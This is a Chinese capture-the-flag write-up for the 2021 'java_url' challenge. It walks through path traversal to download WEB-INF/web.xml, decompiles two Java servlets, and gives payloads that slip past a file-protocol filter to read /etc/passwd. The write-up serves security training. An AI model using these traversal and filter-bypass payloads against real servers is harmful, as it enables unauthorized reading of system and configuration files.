[长城杯2021]java_url详解

2023-05-02 11:08:25 浏览数 (1)

本文最后更新于 535 天前,其中的信息可能已经有所发展或是发生改变。

解题思路

这题是存在着任意文件下载漏洞,下载完源码之后审计发现可以通过伪协议读取文件

代码语言:javascript复制
../../../../../../../../../WEB-INF/web.xml

如果不明白web.xml是干嘛的可以百度一下,在java工程中,web.xml用来初始化工程配置信息,比如说welcome页面,filter,listener,servlet,servlet-mapping,启动加载级别等等。

所以说通过web.xml文件查看整个项目工程所有的类,确定了类名可以通过任意文件下载漏洞下载项目中的class文件,但是通过项目中的java文件都是被编译过变为class文件需要反编译才能拿到真正的源码。

代码语言:javascript复制
class在线反编译: http://javare.cn/ 

反编译过后就到了代码审计环节

源码解析

testURL.java
代码语言:javascript复制
package com.test2.aaa1;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class testURL extends HttpServlet {

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      this.doPost(req, resp);
   }

   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String tartget_url = req.getParameter("url"); // post接收传入的url
      String pri = tartget_url.substring(0, tartget_url.indexOf(":")); // 截取从开始第一个字符到第一个:出现位置的字符
      if(pri.matches("(?i)file|(?i)gopher|(?i)data")) { // 过滤了file、gopher、data协议
        // 如果截取到了被过滤了的三个协议就会返回false
         resp.getWriter().write(String.valueOf((new StringBuilder()).append("false"))); 
      } else {
         // 没截取到的话就调用getContent函数读取内容
         resp.getWriter().write(String.valueOf(this.getContent(tartget_url)));
      }
   }

   public StringBuilder getContent(String url) throws IOException {
      // 创建URL对象,可以对传入的伪协议进行响应
      URL urL = new URL(url);
      URLConnection con = urL.openConnection();
      BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
      StringBuilder content = new StringBuilder();

      String inputLine;
      while((inputLine = in.readLine()) != null) {
         content.append(inputLine);
         content.append("n");
      }

      return content;
   }
}
download.java

这个类就是下载文件的接口,这玩意没什么好看的,过滤了flag让你没法直接读取。

代码语言:javascript复制
package com.test2.aaa1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class download extends HttpServlet {

   private static final long serialVersionUID = 1L;

   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      this.doPost(request, response);
   }

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      String fileName = request.getParameter("filename");
      if(fileName.contains("environ")) {
         response.getWriter().write("false");
      } else {
         fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
         System.out.println("filename="   fileName);
         if(fileName != null && fileName.toLowerCase().contains("flag")) {
            request.setAttribute("message", "no no no ");
            request.getRequestDispatcher("/message2.jsp").forward(request, response);
         } else {
            String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
            String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
            File file = new File(path   "/"   fileName);
            if(!file.exists()) {
               request.setAttribute("message", "error");
               request.getRequestDispatcher("/message2.jsp").forward(request, response);
            } else {
               String realname = fileName.substring(fileName.indexOf("_")   1);
               response.setHeader("content-disposition", "attachment;filename="   URLEncoder.encode(realname, "UTF-8"));
               FileInputStream in = new FileInputStream(path   "/"   fileName);
               ServletOutputStream out = response.getOutputStream();
               byte[] buffer = new byte[1024];
               boolean var11 = false;

               int len;
               while((len = in.read(buffer)) > 0) {
                  out.write(buffer, 0, len);
               }

               in.close();
               out.close();
            }
         }
      }

   }

   public String findFileSavePathByFileName(String filename, String saveRootPath) {
      int hashCode = filename.hashCode();
      int dir1 = hashCode & 15;
      int dir2 = (hashCode & 240) >> 4;
      String dir = saveRootPath   "/"   dir1   "/"   dir2;
      File file = new File(dir);
      if(!file.exists()) {
         file.mkdirs();
      }

      return dir;
   }
}

绕过方法

绕过截取有两种方法

代码语言:javascript复制
/testURL?url=url:file:///etc/passwd
/testURL?url= file:///etc/passwd // 空格绕过

file:///协议如果读取是目录就会列出下面所有的路径与文件,如果是文件的话就会读取文件

浏览量: 184

0 人点赞